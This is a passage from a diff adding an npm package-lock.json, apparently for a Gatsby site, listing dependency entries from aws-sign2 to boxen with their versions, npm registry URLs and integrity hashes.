+                    "integrity": "sha512-cMlDqaLEqfSaW8Z7N5Jw+lyIW869EzT73/F5lhtY9cLGoVxSXznfgfXMO0Z5K0o0Q2TkTXq+0KFsdnSe3jDViA=="
+                }
+            }
+        },
+        "aws-sign2": {
+            "version": "0.7.0",
+            "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
+            "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA=="
+        },
+        "aws4": {
+            "version": "1.11.0",
+            "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.11.0.tgz",
+            "integrity": "sha512-xh1Rl34h6Fi1DC2WWKfxUTVqRsNnr6LsKz2+hfwDxQJWmrx8+c7ylaqBMcHfl1U1r2dsifOvKX3LQuLNZ+XSvA=="
+        },
+        "axe-core": {
+            "version": "4.4.3",
+            "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.4.3.tgz",
+            "integrity": "sha512-32+ub6kkdhhWick/UjvEwRchgoetXqTK14INLqbGm5U2TzBkBNF3nQtLYm8ovxSkQWArjEQvftCKryjZaATu3w=="
+        },
+        "axios": {
+            "version": "0.21.4",
+            "resolved": "https://registry.npmjs.org/axios/-/axios-0.21.4.tgz",
+            "integrity": "sha512-ut5vewkiu8jjGBdqpM44XxjuCjq9LAKeHVmoVfHVzy8eHgxxq8SbAVQNovDA8mVi05kP0Ea/n/UzcSHcTJQfNg==",
+            "requires": {
+                "follow-redirects": "^1.14.0"
+            }
+        },
+        "axobject-query": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-2.2.0.tgz",
+            "integrity": "sha512-Td525n+iPOOyUQIeBfcASuG6uJsDOITl7Mds5gFyerkWiX7qhUTdYUBlSgNMyVqtSJqwpt1kXGLdUt6SykLMRA=="
+        },
+        "babel-code-frame": {
+            "version": "6.26.0",
+            "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz",
+            "integrity": "sha512-XqYMR2dfdGMW+hd0IUZ2PwK+fGeFkOxZJ0wY+JaQAHzt1Zx8LcvpiZD2NiGkEG8qx0CfkAOr5xt76d1e8vG90g==",
+            "requires": {
+                "chalk": "^1.1.3",
+                "esutils": "^2.0.2",
+                "js-tokens": "^3.0.2"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+                    "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA=="
+                },
+                "ansi-styles": {
+                    "version": "2.2.1",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz",
+                    "integrity": "sha512-kmCevFghRiWM7HB5zTPULl4r9bVFSWjz62MhqizDGUrq2NWuNMQyuv4tHHoKJHs69M/MF64lEcHdYIocrdWQYA=="
+                },
+                "chalk": {
+                    "version": "1.1.3",
+                    "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz",
+                    "integrity": "sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==",
+                    "requires": {
+                        "ansi-styles": "^2.2.1",
+                        "escape-string-regexp": "^1.0.2",
+                        "has-ansi": "^2.0.0",
+                        "strip-ansi": "^3.0.0",
+                        "supports-color": "^2.0.0"
+                    }
+                },
+                "js-tokens": {
+                    "version": "3.0.2",
+                    "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-3.0.2.tgz",
+                    "integrity": "sha512-RjTcuD4xjtthQkaWH7dFlH85L+QaVtSoOyGdZ3g6HFhS9dFNDfLyqgm2NFe2X6cQpeFmt0452FJjFG5UameExg=="
+                },
+                "strip-ansi": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+                    "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+                    "requires": {
+                        "ansi-regex": "^2.0.0"
+                    }
+                },
+                "supports-color": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz",
+                    "integrity": "sha512-KKNVtd6pCYgPIKU4cp2733HWYCpplQhddZLBUryaAHou723x+FRzQ5Df824Fj+IyyuiQTRoub4SnIFfIcrp70g=="
+                }
+            }
+        },
+        "babel-core": {
+            "version": "7.0.0-bridge.0",
+            "resolved": "https://registry.npmjs.org/babel-core/-/babel-core-7.0.0-bridge.0.tgz",
+            "integrity": "sha512-poPX9mZH/5CSanm50Q+1toVci6pv5KSRv/5TWCwtzQS5XEwn40BcCrgIeMFWP9CKKIniKXNxoIOnOq4VVlGXhg=="
+        },
+        "babel-eslint": {
+            "version": "10.1.0",
+            "resolved": "https://registry.npmjs.org/babel-eslint/-/babel-eslint-10.1.0.tgz",
+            "integrity": "sha512-ifWaTHQ0ce+448CYop8AdrQiBsGrnC+bMgfyKFdi6EsPLTAWG+QfyDeM6OH+FmWnKvEq5NnBMLvlBUPKQZoDSg==",
+            "requires": {
+                "@babel/code-frame": "^7.0.0",
+                "@babel/parser": "^7.7.0",
+                "@babel/traverse": "^7.7.0",
+                "@babel/types": "^7.7.0",
+                "eslint-visitor-keys": "^1.0.0",
+                "resolve": "^1.12.0"
+            }
+        },
+        "babel-extract-comments": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/babel-extract-comments/-/babel-extract-comments-1.0.0.tgz",
+            "integrity": "sha512-qWWzi4TlddohA91bFwgt6zO/J0X+io7Qp184Fw0m2JYRSTZnJbFR8+07KmzudHCZgOiKRCrjhylwv9Xd8gfhVQ==",
+            "requires": {
+                "babylon": "^6.18.0"
+            }
+        },
+        "babel-loader": {
+            "version": "8.2.5",
+            "resolved": "https://registry.npmjs.org/babel-loader/-/babel-loader-8.2.5.tgz",
+            "integrity": "sha512-OSiFfH89LrEMiWd4pLNqGz4CwJDtbs2ZVc+iGu2HrkRfPxId9F2anQj38IxWpmRfsUY0aBZYi1EFcd3mhtRMLQ==",
+            "requires": {
+                "find-cache-dir": "^3.3.1",
+                "loader-utils": "^2.0.0",
+                "make-dir": "^3.1.0",
+                "schema-utils": "^2.6.5"
+            }
+        },
+        "babel-plugin-add-module-exports": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/babel-plugin-add-module-exports/-/babel-plugin-add-module-exports-1.0.4.tgz",
+            "integrity": "sha512-g+8yxHUZ60RcyaUpfNzy56OtWW+x9cyEe9j+CranqLiqbju2yf/Cy6ZtYK40EZxtrdHllzlVZgLmcOUCTlJ7Jg=="
+        },
+        "babel-plugin-dynamic-import-node": {
+            "version": "2.3.3",
+            "resolved": "https://registry.npmjs.org/babel-plugin-dynamic-import-node/-/babel-plugin-dynamic-import-node-2.3.3.tgz",
+            "integrity": "sha512-jZVI+s9Zg3IqA/kdi0i6UDCybUI3aSBLnglhYbSSjKlV7yF1F/5LWv8MakQmvYpnbJDS6fcBL2KzHSxNCMtWSQ==",
+            "requires": {
+                "object.assign": "^4.1.0"
+            }
+        },
+        "babel-plugin-lodash": {
+            "version": "3.3.4",
+            "resolved": "https://registry.npmjs.org/babel-plugin-lodash/-/babel-plugin-lodash-3.3.4.tgz",
+            "integrity": "sha512-yDZLjK7TCkWl1gpBeBGmuaDIFhZKmkoL+Cu2MUUjv5VxUZx/z7tBGBCBcQs5RI1Bkz5LLmNdjx7paOyQtMovyg==",
+            "requires": {
+                "@babel/helper-module-imports": "^7.0.0-beta.49",
+                "@babel/types": "^7.0.0-beta.49",
+                "glob": "^7.1.1",
+                "lodash": "^4.17.10",
+                "require-package-name": "^2.0.1"
+            }
+        },
+        "babel-plugin-macros": {
+            "version": "2.8.0",
+            "resolved": "https://registry.npmjs.org/babel-plugin-macros/-/babel-plugin-macros-2.8.0.tgz",
+            "integrity": "sha512-SEP5kJpfGYqYKpBrj5XU3ahw5p5GOHJ0U5ssOSQ/WBVdwkD2Dzlce95exQTs3jOVWPPKLBN2rlEWkCK7dSmLvg==",
+            "requires": {
+                "@babel/runtime": "^7.7.2",
+                "cosmiconfig": "^6.0.0",
+                "resolve": "^1.12.0"
+            }
+        },
+        "babel-plugin-polyfill-corejs2": {
+            "version": "0.3.2",
+            "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.3.2.tgz",
+            "integrity": "sha512-LPnodUl3lS0/4wN3Rb+m+UK8s7lj2jcLRrjho4gLw+OJs+I4bvGXshINesY5xx/apM+biTnQ9reDI8yj+0M5+Q==",
+            "requires": {
+                "@babel/compat-data": "^7.17.7",
+                "@babel/helper-define-polyfill-provider": "^0.3.2",
+                "semver": "^6.1.1"
+            },
+            "dependencies": {
+                "semver": {
+                    "version": "6.3.0",
+                    "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz",
+                    "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw=="
+                }
+            }
+        },
+        "babel-plugin-polyfill-corejs3": {
+            "version": "0.5.3",
+            "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.5.3.tgz",
+            "integrity": "sha512-zKsXDh0XjnrUEW0mxIHLfjBfnXSMr5Q/goMe/fxpQnLm07mcOZiIZHBNWCMx60HmdvjxfXcalac0tfFg0wqxyw==",
+            "requires": {
+                "@babel/helper-define-polyfill-provider": "^0.3.2",
+                "core-js-compat": "^3.21.0"
+            }
+        },
+        "babel-plugin-polyfill-regenerator": {
+            "version": "0.4.0",
+            "resolved": "https://registry.npmjs.org/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.4.0.tgz",
+            "integrity": "sha512-RW1cnryiADFeHmfLS+WW/G431p1PsW5qdRdz0SDRi7TKcUgc7Oh/uXkT7MZ/+tGsT1BkczEAmD5XjUyJ5SWDTw==",
+            "requires": {
+                "@babel/helper-define-polyfill-provider": "^0.3.2"
+            }
+        },
+        "babel-plugin-remove-graphql-queries": {
+            "version": "2.16.1",
+            "resolved": "https://registry.npmjs.org/babel-plugin-remove-graphql-queries/-/babel-plugin-remove-graphql-queries-2.16.1.tgz",
+            "integrity": "sha512-PkHJuRodMp4p617a/ZVhV8elBhRoFpOTpdu2DaApXJFIsDJWhjZ8d4BGbbFCT/yKJrhRDTdqg1r5AhWEaEUKkw=="
+        },
+        "babel-plugin-syntax-object-rest-spread": {
+            "version": "6.13.0",
+            "resolved": "https://registry.npmjs.org/babel-plugin-syntax-object-rest-spread/-/babel-plugin-syntax-object-rest-spread-6.13.0.tgz",
+            "integrity": "sha512-C4Aq+GaAj83pRQ0EFgTvw5YO6T3Qz2KGrNRwIj9mSoNHVvdZY4KO2uA6HNtNXCw993iSZnckY1aLW8nOi8i4+w=="
+        },
+        "babel-plugin-transform-object-rest-spread": {
+            "version": "6.26.0",
+            "resolved": "https://registry.npmjs.org/babel-plugin-transform-object-rest-spread/-/babel-plugin-transform-object-rest-spread-6.26.0.tgz",
+            "integrity": "sha512-ocgA9VJvyxwt+qJB0ncxV8kb/CjfTcECUY4tQ5VT7nP6Aohzobm8CDFaQ5FHdvZQzLmf0sgDxB8iRXZXxwZcyA==",
+            "requires": {
+                "babel-plugin-syntax-object-rest-spread": "^6.8.0",
+                "babel-runtime": "^6.26.0"
+            }
+        },
+        "babel-plugin-transform-react-remove-prop-types": {
+            "version": "0.4.24",
+            "resolved": "https://registry.npmjs.org/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz",
+            "integrity": "sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA=="
+        },
+        "babel-preset-gatsby": {
+            "version": "0.12.3",
+            "resolved": "https://registry.npmjs.org/babel-preset-gatsby/-/babel-preset-gatsby-0.12.3.tgz",
+            "integrity": "sha512-s/5Nkeeihu/oNUcLQakm+lwLCiNWcQamQliB+NqEVB/IgRVn1FQPxqmxNbEb0i2HrEBPKgOrXyt82IfzirCmgg==",
+            "requires": {
+                "@babel/plugin-proposal-class-properties": "^7.12.1",
+                "@babel/plugin-proposal-nullish-coalescing-operator": "^7.12.1",
+                "@babel/plugin-proposal-optional-chaining": "^7.12.1",
+                "@babel/plugin-syntax-dynamic-import": "^7.8.3",
+                "@babel/plugin-transform-classes": "^7.12.1",
+                "@babel/plugin-transform-runtime": "^7.12.1",
+                "@babel/plugin-transform-spread": "^7.12.1",
+                "@babel/preset-env": "^7.12.1",
+                "@babel/preset-react": "^7.12.5",
+                "@babel/runtime": "^7.12.5",
+                "babel-plugin-dynamic-import-node": "^2.3.3",
+                "babel-plugin-macros": "^2.8.0",
+                "babel-plugin-transform-react-remove-prop-types": "^0.4.24",
+                "gatsby-core-utils": "^1.10.1",
+                "gatsby-legacy-polyfills": "^0.7.1"
+            }
+        },
+        "babel-runtime": {
+            "version": "6.26.0",
+            "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.26.0.tgz",
+            "integrity": "sha512-ITKNuq2wKlW1fJg9sSW52eepoYgZBggvOAHC0u/CYu/qxQ9EVzThCgR69BnSXLHjy2f7SY5zaQ4yt7H9ZVxY2g==",
+            "requires": {
+                "core-js": "^2.4.0",
+                "regenerator-runtime": "^0.11.0"
+            }
+        },
+        "babel-types": {
+            "version": "6.26.0",
+            "resolved": "https://registry.npmjs.org/babel-types/-/babel-types-6.26.0.tgz",
+            "integrity": "sha512-zhe3V/26rCWsEZK8kZN+HaQj5yQ1CilTObixFzKW1UWjqG7618Twz6YEsCnjfg5gBcJh02DrpCkS9h98ZqDY+g==",
+            "requires": {
+                "babel-runtime": "^6.26.0",
+                "esutils": "^2.0.2",
+                "lodash": "^4.17.4",
+                "to-fast-properties": "^1.0.3"
+            }
+        },
+        "babylon": {
+            "version": "6.18.0",
+            "resolved": "https://registry.npmjs.org/babylon/-/babylon-6.18.0.tgz",
+            "integrity": "sha512-q/UEjfGJ2Cm3oKV71DJz9d25TPnq5rhBVL2Q4fA5wcC3jcrdn7+SssEybFIxwAvvP+YCsCYNKughoF33GxgycQ=="
+        },
+        "backo2": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/backo2/-/backo2-1.0.2.tgz",
+            "integrity": "sha512-zj6Z6M7Eq+PBZ7PQxl5NT665MvJdAkzp0f60nAJ+sLaSCBPMwVak5ZegFbgVCzFcCJTKFoMizvM5Ld7+JrRJHA=="
+        },
+        "bail": {
+            "version": "1.0.5",
+            "resolved": "https://registry.npmjs.org/bail/-/bail-1.0.5.tgz",
+            "integrity": "sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ=="
+        },
+        "balanced-match": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
+            "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
+        },
+        "base": {
+            "version": "0.11.2",
+            "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz",
+            "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==",
+            "requires": {
+                "cache-base": "^1.0.1",
+                "class-utils": "^0.3.5",
+                "component-emitter": "^1.2.1",
+                "define-property": "^1.0.0",
+                "isobject": "^3.0.1",
+                "mixin-deep": "^1.2.0",
+                "pascalcase": "^0.1.1"
+            },
+            "dependencies": {
+                "define-property": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
+                    "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
+                    "requires": {
+                        "is-descriptor": "^1.0.0"
+                    }
+                },
+                "is-accessor-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-data-descriptor": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz",
+                    "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==",
+                    "requires": {
+                        "kind-of": "^6.0.0"
+                    }
+                },
+                "is-descriptor": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz",
+                    "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==",
+                    "requires": {
+                        "is-accessor-descriptor": "^1.0.0",
+                        "is-data-descriptor": "^1.0.0",
+                        "kind-of": "^6.0.2"
+                    }
+                },
+                "isobject": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz",
+                    "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg=="
+                },
+                "kind-of": {
+                    "version": "6.0.3",
+                    "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
+                    "integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
+                }
+            }
+        },
+        "base64-arraybuffer": {
+            "version": "0.1.4",
+            "resolved": "https://registry.npmjs.org/base64-arraybuffer/-/base64-arraybuffer-0.1.4.tgz",
+            "integrity": "sha512-a1eIFi4R9ySrbiMuyTGx5e92uRH5tQY6kArNcFaKBUleIoLjdjBg7Zxm3Mqm3Kmkf27HLR/1fnxX9q8GQ7Iavg=="
+        },
+        "base64-js": {
+            "version": "1.5.1",
+            "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
+            "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA=="
+        },
+        "base64id": {
+            "version": "2.0.0",
+            "resolved": "https://registry.npmjs.org/base64id/-/base64id-2.0.0.tgz",
+            "integrity": "sha512-lGe34o6EHj9y3Kts9R4ZYs/Gr+6N7MCaMlIFA3F1R2O5/m7K06AxfSeO5530PEERE6/WyEg3lsuyw4GHlPZHog=="
+        },
+        "batch": {
+            "version": "0.6.1",
+            "resolved": "https://registry.npmjs.org/batch/-/batch-0.6.1.tgz",
+            "integrity": "sha512-x+VAiMRL6UPkx+kudNvxTl6hB2XNNCG2r+7wixVfIYwu/2HKRXimwQyaumLjMveWvT2Hkd/cAJw+QBMfJ/EKVw=="
+        },
+        "bcrypt-pbkdf": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
+            "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==",
+            "requires": {
+                "tweetnacl": "^0.14.3"
+            }
+        },
+        "better-opn": {
+            "version": "2.1.1",
+            "resolved": "https://registry.npmjs.org/better-opn/-/better-opn-2.1.1.tgz",
+            "integrity": "sha512-kIPXZS5qwyKiX/HcRvDYfmBQUa8XP17I0mYZZ0y4UhpYOSvtsLHDYqmomS+Mj20aDvD3knEiQ0ecQy2nhio3yA==",
+            "requires": {
+                "open": "^7.0.3"
+            }
+        },
+        "better-queue": {
+            "version": "3.8.10",
+            "resolved": "https://registry.npmjs.org/better-queue/-/better-queue-3.8.10.tgz",
+            "integrity": "sha512-e3gwNZgDCnNWl0An0Tz6sUjKDV9m6aB+K9Xg//vYeo8+KiH8pWhLFxkawcXhm6FpM//GfD9IQv/kmvWCAVVpKA==",
+            "requires": {
+                "better-queue-memory": "^1.0.1",
+                "node-eta": "^0.9.0",
+                "uuid": "^3.0.0"
+            }
+        },
+        "better-queue-memory": {
+            "version": "1.0.4",
+            "resolved": "https://registry.npmjs.org/better-queue-memory/-/better-queue-memory-1.0.4.tgz",
+            "integrity": "sha512-SWg5wFIShYffEmJpI6LgbL8/3Dqhku7xI1oEiy6FroP9DbcZlG0ZDjxvPdP9t7hTGW40IpIcC6zVoGT1oxjOuA=="
+        },
+        "big.js": {
+            "version": "5.2.2",
+            "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz",
+            "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ=="
+        },
+        "binary-extensions": {
+            "version": "2.2.0",
+            "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.2.0.tgz",
+            "integrity": "sha512-jDctJ/IVQbZoJykoeHbhXpOlNBqGNcwXJKJog42E5HDPUwQTSdjCHdihjj0DlnheQ7blbT6dHOafNAiS8ooQKA=="
+        },
+        "bl": {
+            "version": "4.1.0",
+            "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz",
+            "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==",
+            "requires": {
+                "buffer": "^5.5.0",
+                "inherits": "^2.0.4",
+                "readable-stream": "^3.4.0"
+            }
+        },
+        "block-stream": {
+            "version": "0.0.9",
+            "resolved": "https://registry.npmjs.org/block-stream/-/block-stream-0.0.9.tgz",
+            "integrity": "sha512-OorbnJVPII4DuUKbjARAe8u8EfqOmkEEaSFIyoQ7OjTHn6kafxWl0wLgoZ2rXaYd7MyLcDaU4TmhfxtwgcccMQ==",
+            "requires": {
+                "inherits": "~2.0.0"
+            }
+        },
+        "bluebird": {
+            "version": "3.7.2",
+            "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz",
+            "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg=="
+        },
+        "bn.js": {
+            "version": "5.2.1",
+            "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.1.tgz",
+            "integrity": "sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ=="
+        },
+        "body-parser": {
+            "version": "1.20.0",
+            "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.20.0.tgz",
+            "integrity": "sha512-DfJ+q6EPcGKZD1QWUjSpqp+Q7bDQTsQIF4zfUAtZ6qk+H/3/QRhg9CEp39ss+/T2vw0+HaidC0ecJj/DRLIaKg==",
+            "requires": {
+                "bytes": "3.1.2",
+                "content-type": "~1.0.4",
+                "debug": "2.6.9",
+                "depd": "2.0.0",
+                "destroy": "1.2.0",
+                "http-errors": "2.0.0",
+                "iconv-lite": "0.4.24",
+                "on-finished": "2.4.1",
+                "qs": "6.10.3",
+                "raw-body": "2.5.1",
+                "type-is": "~1.6.18",
+                "unpipe": "1.0.0"
+            }
+        },
+        "bonjour": {
+            "version": "3.5.0",
+            "resolved": "https://registry.npmjs.org/bonjour/-/bonjour-3.5.0.tgz",
+            "integrity": "sha512-RaVTblr+OnEli0r/ud8InrU7D+G0y6aJhlxaLa6Pwty4+xoxboF1BsUI45tujvRpbj9dQVoglChqonGAsjEBYg==",
+            "requires": {
+                "array-flatten": "^2.1.0",
+                "deep-equal": "^1.0.1",
+                "dns-equal": "^1.0.0",
+                "dns-txt": "^2.0.2",
+                "multicast-dns": "^6.0.1",
+                "multicast-dns-service-types": "^1.1.0"
+            },
+            "dependencies": {
+                "array-flatten": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/array-flatten/-/array-flatten-2.1.2.tgz",
+                    "integrity": "sha512-hNfzcOV8W4NdualtqBFPyVO+54DSJuZGY9qT4pRroB6S9e3iiido2ISIC5h9R2sPJ8H3FHCIiEnsv1lPXO3KtQ=="
+                }
+            }
+        },
+        "boolbase": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
+            "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww=="
+        },
+        "boxen": {
+            "version": "4.2.0",
+            "resolved": "https://registry.npmjs.org/boxen/-/boxen-4.2.0.tgz",
+            "integrity": "sha512-eB4uT9RGzg2odpER62bBwSLvUeGC+WbRjjyyFhGsKnc8wp/m0+hQsMUvUe3H2V0D5vw0nBdO1hCJoZo5mKeuIQ==",
+            "requires": {
+                "ansi-align": "^3.0.0",
+                "camelcase": "^5.3.1",
+                "chalk": "^3.0.0",
+                "cli-boxes": "^2.2.0",
+                "string-width": "^4.1.0",
+                "term-size": "^2.1.0",
+                "type-fest": "^0.8.1",
+                "widest-line": "^3.1.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "5.0.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz",
+                    "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ=="
+                },
+                "ansi-styles": {
+                    "version": "4.3.0",
+                    "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
+                    "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
+                    "requires": {
+                        "color-convert": "^2.0.1"
+                    }
+                },
+                "camelcase": {
+                    "version": "5.3.1",
+                    "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz",
+                    "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg=="
+                },
+                "chalk": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz",
+                    "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==",
+                    "requires": {
+                        "ansi-styles": "^4.1.0",
+                        "supports-color": "^7.1.0"
+                    }
+                },
+                "color-convert": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
+                    "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
+                    "requires": {
+                        "color-name": "~1.1.4"
+                    }
+                },
+                "color-name": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+                    "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+                },
+                "has-flag": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz",
+                    "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ=="
+                },
+                "is-fullwidth-code-point": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-3.0.0.tgz",
+                    "integrity": "sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg=="
+                },
+                "string-width": {
+                    "version": "4.2.3",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
